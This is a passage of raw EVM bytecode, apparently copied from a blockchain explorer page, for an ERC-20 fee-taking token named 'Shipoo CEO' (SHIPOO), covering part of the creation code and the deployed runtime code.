478360008430426040518663ffffffff1660e01b8152600401611834959493929190612e88565b600060405180830381600087803b15801561184e57600080fd5b505af1158015611862573d6000803e3d6000fd5b50505050506000601460016101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118ed573d6000803e3d6000fd5b5050565b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196657426013819055505b611971838383611b9b565b505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a225742600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600b81905550600854600c819055505b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611adc57601354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac89190612af5565b50600954600b81905550600a54600c819055505b5050565b80611aee57611aed611c33565b5b611af9848484611c70565b80611b0757611b06611e3b565b5b50505050565b6000806000611b1a611e4f565b91509150611b3181836115c290919063ffffffff16565b9250505090565b60008083118290611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b769190612264565b60405180910390fd5b5060008385611b8e9190612c2c565b9050809150509392505050565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c279190612a2f565b92505081905550505050565b6000600b54148015611c4757506000600c54145b611c6e57600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b600080600080600080611c8287611eae565b955095509550955095509550611ce086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc181611fbe565b611dcb848361207b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e28919061241e565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b600080600060055490506000670de0b6b3a76400009050611e83670de0b6b3a76400006005546115c290919063ffffffff16565b821015611ea157600554670de0b6b3a7640000935093505050611eaa565b81819350935050505b9091565b6000806000806000806000806000611ecb8a600b54600c546120b5565b9250925092506000611edb611b0d565b90506000806000611eee8e87878761214b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611476565b905092915050565b6000808284611f6f9190612a2f565b905083811015611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab90612f2e565b60405180910390fd5b8091505092915050565b6000611fc8611b0d565b90506000611fdf828461154890919063ffffffff16565b905061203381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61209082600554611f1690919063ffffffff16565b6005819055506120ab81600654611f6090919063ffffffff16565b6006819055505050565b6000806000806120e160646120d3888a61154890919063ffffffff16565b6115c290919063ffffffff16565b9050600061210b60646120fd888b61154890919063ffffffff16565b6115c290919063ffffffff16565b9050600061213482612126858c611f1690919063ffffffff16565b611f1690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612164858961154890919063ffffffff16565b9050600061217b868961154890919063ffffffff16565b90506000612192878961154890919063ffffffff16565b905060006121bb826121ad8587611f1690919063ffffffff16565b611f1690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561220e5780820151818401526020810190506121f3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612236826121d4565b61224081856121df565b93506122508185602086016121f0565b6122598161221a565b840191505092915050565b6000602082019050818103600083015261227e818461222b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122b68261228b565b9050919050565b6122c6816122ab565b81146122d157600080fd5b50565b6000813590506122e3816122bd565b92915050565b6000819050919050565b6122fc816122e9565b811461230757600080fd5b50565b600081359050612319816122f3565b92915050565b6000806040838503121561233657612335612286565b5b6000612344858286016122d4565b92505060206123558582860161230a565b9150509250929050565b60008115159050919050565b6123748161235f565b82525050565b600060208201905061238f600083018461236b565b92915050565b6000819050919050565b60006123ba6123b56123b08461228b565b612395565b61228b565b9050919050565b60006123cc8261239f565b9050919050565b60006123de826123c1565b9050919050565b6123ee816123d3565b82525050565b600060208201905061240960008301846123e5565b92915050565b612418816122e9565b82525050565b6000602082019050612433600083018461240f565b92915050565b60008060006060848603121561245257612451612286565b5b6000612460868287016122d4565b9350506020612471868287016122d4565b92505060406124828682870161230a565b9150509250925092565b600060ff82169050919050565b6124a28161248c565b82525050565b60006020820190506124bd6000830184612499565b92915050565b6124cc816122ab565b82525050565b60006020820190506124e760008301846124c3565b92915050565b60006020828403121561250357612502612286565b5b6000612511848285016122d4565b91505092915050565b60006125258261228b565b9050919050565b6125358161251a565b82525050565b6000602082019050612550600083018461252c565b92915050565b6000806040838503121561256d5761256c612286565b5b600061257b858286016122d4565b925050602061258c858286016122d4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125cc6020836121df565b91506125d782612596565b602082019050919050565b600060208201905081810360008301526125fb816125bf565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061265e6026836121df565b915061266982612602565b604082019050919050565b6000602082019050818103600083015261268d81612651565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126f06024836121df565b91506126fb82612694565b604082019050919050565b6000602082019050818103600083015261271f816126e3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127826022836121df565b915061278d82612726565b604082019050919050565b600060208201905081810360008301526127b181612775565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128146025836121df565b915061281f826127b8565b604082019050919050565b6000602082019050818103600083015261284381612807565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128a66023836121df565b91506128b18261284a565b604082019050919050565b600060208201905081810360008301526128d581612899565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129386029836121df565b9150612943826128dc565b604082019050919050565b600060208201905081810360008301526129678161292b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006129ca603f836121df565b91506129d58261296e565b604082019050919050565b600060208201905081810360008301526129f9816129bd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a3a826122e9565b9150612a45836122e9565b9250828201905080821115612a5d57612a5c612a00565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612abf6023836121df565b9150612aca82612a63565b604082019050919050565b60006020820190508181036000830152612aee81612ab2565b9050919050565b6000612b00826122e9565b9150612b0b836122e9565b9250828203905081811115612b2357612b22612a00565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612b85602a836121df565b9150612b9082612b29565b604082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b6000612bc6826122e9565b9150612bd1836122e9565b9250828202612bdf816122e9565b91508282048414831517612bf657612bf5612a00565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c37826122e9565b9150612c42836122e9565b925082612c5257612c51612bfd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cb96021836121df565b9150612cc482612c5d565b604082019050919050565b60006020820190508181036000830152612ce881612cac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612d5c816122bd565b92915050565b600060208284031215612d7857612d77612286565b5b6000612d8684828501612d4d565b91505092915050565b6000819050919050565b6000612db4612daf612daa84612d8f565b612395565b6122e9565b9050919050565b612dc481612d99565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612dff816122ab565b82525050565b6000612e118383612df6565b60208301905092915050565b6000602082019050919050565b6000612e3582612dca565b612e3f8185612dd5565b9350612e4a83612de6565b8060005b83811015612e7b578151612e628882612e05565b9750612e6d83612e1d565b925050600181019050612e4e565b5085935050505092915050565b600060a082019050612e9d600083018861240f565b612eaa6020830187612dbb565b8181036040830152612ebc8186612e2a565b9050612ecb60608301856124c3565b612ed8608083018461240f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f18601b836121df565b9150612f2382612ee2565b602082019050919050565b60006020820190508181036000830152612f4781612f0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000bf34e667c8b05cf4b17e3cf7783ae3551dcb356d560f33b42d0c184bf144de64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103c2578063c9567bf9146103ff578063caac793414610416578063dd62ed3e14610441578063f2fde38b1461047e5761012a565b8063715018a6146102ff5780637d1db4a5146103165780638da5cb5b146103415780638f9a55c01461036c57806395d89b41146103975761012a565b80632fd689e3116100e75780632fd689e31461022a578063313ce5671461025557806349bd5a5e1461028057806362256589146102ab57806370a08231146102c25761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104a7565b6040516101519190612264565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061231f565b6104e4565b60405161018e919061237a565b60405180910390f35b3480156101a357600080fd5b506101ac610502565b6040516101b991906123f4565b60405180910390f35b3480156101ce57600080fd5b506101d7610528565b6040516101e4919061241e565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190612439565b610538565b604051610221919061237a565b60405180910390f35b34801561023657600080fd5b5061023f610611565b60405161024c919061241e565b60405180910390f35b34801561026157600080fd5b5061026a610617565b60405161027791906124a8565b60405180910390f35b34801561028c57600080fd5b50610295610620565b6040516102a291906124d2565b60405180910390f35b3480156102b757600080fd5b506102c0610646565b005b3480156102ce57600080fd5b506102e960048036038101906102e491906124ed565b6106ec565b6040516102f6919061241e565b60405180910390f35b34801561030b57600080fd5b5061031461073d565b005b34801561032257600080fd5b5061032b610890565b604051610338919061241e565b60405180910390f35b34801561034d57600080fd5b50610356610896565b60405161036391906124d2565b60405180910390f35b34801561037857600080fd5b506103816108bf565b60405161038e919061241e565b60405180910390f35b3480156103a357600080fd5b506103ac6108c5565b6040516103b99190612264565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e4919061231f565b610902565b6040516103f6919061237a565b60405180910390f35b34801561040b57600080fd5b50610414610920565b005b34801561042257600080fd5b5061042b6109d2565b604051610438919061253b565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190612556565b6109f8565b604051610475919061241e565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a091906124ed565b610a7f565b005b60606040518060400160405280600a81526020017f536869706f6f2043454f00000000000000000000000000000000000000000000815250905090565b60006104f86104f1610c40565b8484610c48565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610545848484610e11565b61060684610551610c40565b61060185604051806060016040528060288152602001612f4f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105b7610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114769092919063ffffffff16565b610c48565b600190509392505050565b60175481565b60006009905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61064e610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d2906125e2565b60405180910390fd5b670de0b6b3a7640000601681905550565b6000610736600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da565b9050919050565b610745610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c9906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600681526020017f534849504f4f0000000000000000000000000000000000000000000000000000815250905090565b600061091661090f610c40565b8484610e11565b6001905092915050565b610928610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac906125e2565b60405180910390fd5b6001601460006101000a81548160ff021916908315150217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a87610c40565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90612674565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90612706565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612798565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e04919061241e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e779061282a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee6906128bc565b60405180910390fd5b60008111610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f299061294e565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fd65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112dc57601460009054906101000a900460ff1661106557610ff7610896565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906129e0565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461111257601654816110c7846106ec565b6110d19190612a2f565b10611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890612ad5565b60405180910390fd5b5b600061111d306106ec565b90506000601754821015905060155482106111385760155491505b8080156111525750601460019054906101000a900460ff16155b80156111ac5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111c45750601460029054906101000a900460ff165b801561121a5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156112705750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112d9576000600b54600c546112879190612a2f565b905060006112b2826112a4600c548761154890919063ffffffff16565b6115c290919063ffffffff16565b90506112bd8161160c565b600047905060008111156112d5576112d447611885565b5b5050505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113835750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114365750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114355750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561144f576000905061144a8484846118f1565b611464565b6114598484611976565b6114638484611a26565b5b61147084848484611ae0565b50505050565b60008383111582906114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b59190612264565b60405180910390fd5b50600083856114cd9190612af5565b9050809150509392505050565b6000600554821115611521576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151890612b9b565b60405180910390fd5b600061152b611b0d565b905061154081846115c290919063ffffffff16565b915050919050565b600080830361155a57600090506115bc565b600082846115689190612bbb565b90508284826115779190612c2c565b146115b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ae90612ccf565b60405180910390fd5b809150505b92915050565b600061160483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b38565b905092915050565b6001601460016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561164457611643612cef565b5b6040519080825280602002602001820160405280156116725781602001602082028036833780820191505090505b509050308160008151811061168a57611689612d1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117559190612d62565b8160018151811061176957611768612d1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117d030601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c48565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611834959493929190612e88565b600060405180830381600087803b15801561184e57600080fd5b505af1158015611862573d6000803e3d6000fd5b50505050506000601460016101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156118ed573d6000803e3d6000fd5b5050565b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196657426013819055505b611971838383611b9b565b505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a225742600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600b81905550600854600c819055505b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611adc57601354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac89190612af5565b50600954600b81905550600a54600c819055505b5050565b80611aee57611aed611c33565b5b611af9848484611c70565b80611b0757611b06611e3b565b5b50505050565b6000806000611b1a611e4f565b91509150611b3181836115c290919063ffffffff16565b9250505090565b60008083118290611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b769190612264565b60405180910390fd5b5060008385611b8e9190612c2c565b9050809150509392505050565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c279190612a2f565b92505081905550505050565b6000600b54148015611c4757506000600c54145b611c6e57600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b600080600080600080611c8287611eae565b955095509550955095509550611ce086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc181611fbe565b611dcb848361207b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e28919061241e565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b600080600060055490506000670de0b6b3a76400009050611e83670de0b6b3a76400006005546115c290919063ffffffff16565b821015611ea157600554670de0b6b3a7640000935093505050611eaa565b81819350935050505b9091565b6000806000806000806000806000611ecb8a600b54600c546120b5565b9250925092506000611edb611b0d565b90506000806000611eee8e87878761214b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611476565b905092915050565b6000808284611f6f9190612a2f565b905083811015611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab90612f2e565b60405180910390fd5b8091505092915050565b6000611fc8611b0d565b90506000611fdf828461154890919063ffffffff16565b905061203381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61209082600554611f1690919063ffffffff16565b6005819055506120ab81600654611f6090919063ffffffff16565b6006819055505050565b6000806000806120e160646120d3888a61154890919063ffffffff16565b6115c290919063ffffffff16565b9050600061210b60646120fd888b61154890919063ffffffff16565b6115c290919063ffffffff16565b9050600061213482612126858c611f1690919063ffffffff16565b611f1690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612164858961154890919063ffffffff16565b9050600061217b868961154890919063ffffffff16565b90506000612192878961154890919063ffffffff16565b905060006121bb826121ad8587611f1690919063ffffffff16565b611f1690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561220e5780820151818401526020810190506121f3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612236826121d4565b61224081856121df565b93506122508185602086016121f0565b6122598161221a565b840191505092915050565b6000602082019050818103600083015261227e818461222b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122b68261228b565b9050919050565b6122c6816122ab565b81146122d157600080fd5b50565b6000813590506122e3816122bd565b92915050565b6000819050919050565b6122fc816122e9565b811461230757600080fd5b50565b600081359050612319816122f3565b92915050565b6000806040838503121561233657612335612286565b5b6000612344858286016122d4565b92505060206123558582860161230a565b9150509250929050565b60008115159050919050565b6123748161235f565b82525050565b600060208201905061238f600083018461236b565b92915050565b6000819050919050565b60006123ba6123b56123b08461228b565b612395565b61228b565b9050919050565b60006123cc8261239f565b9050919050565b60006123de826123c1565b9050919050565b6123ee816123d3565b82525050565b600060208201905061240960008301846123e5565b92915050565b612418816122e9565b82525050565b6000602082019050612433600083018461240f565b92915050565b60008060006060848603121561245257612451612286565b5b6000612460868287016122d4565b9350506020612471868287016122d4565b92505060406124828682870161230a565b9150509250925092565b600060ff82169050919050565b6124a28161248c565b82525050565b60006020820190506124bd6000830184612499565b92915050565b6124cc816122ab565b82525050565b60006020820190506124e760008301846124c3565b92915050565b60006020828403121561250357612502612286565b5b6000612511848285016122d4565b91505092915050565b60006125258261228b565b9050919050565b6125358161251a565b82525050565b6000602082019050612550600083018461252c565b92915050565b6000806040838503121561256d5761256c612286565b5b600061257b858286016122d4565b925050602061258c858286016122d4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125cc6020836121df565b91506125d782612596565b602082019050919050565b600060208201905081810360008301526125fb816125bf565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061265e6026836121df565b915061266982612602565b604082019050919050565b6000602082019050818103600083015261268d81612651565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126f06024836121df565b91506126fb82612694565b604082019050919050565b6000602082019050818103600083015261271f816126e3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127826022836121df565b915061278d82612726565b604082019050919050565b600060208201905081810360008301526127b181612775565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128146025836121df565b915061281f826127b8565b604082019050919050565b6000602082019050818103600083015261284381612807565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128a66023836121df565b91506128b18261284a565b604082019050919050565b600060208201905081810360008301526128d581612899565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129386029836121df565b9150612943826128dc565b604082019050919050565b600060208201905081810360008301526129678161292b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006129ca603f836121df565b91506129d58261296e565b604082019050919050565b600060208201905081810360008301526129f9816129bd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a3a826122e9565b9150612a45836122e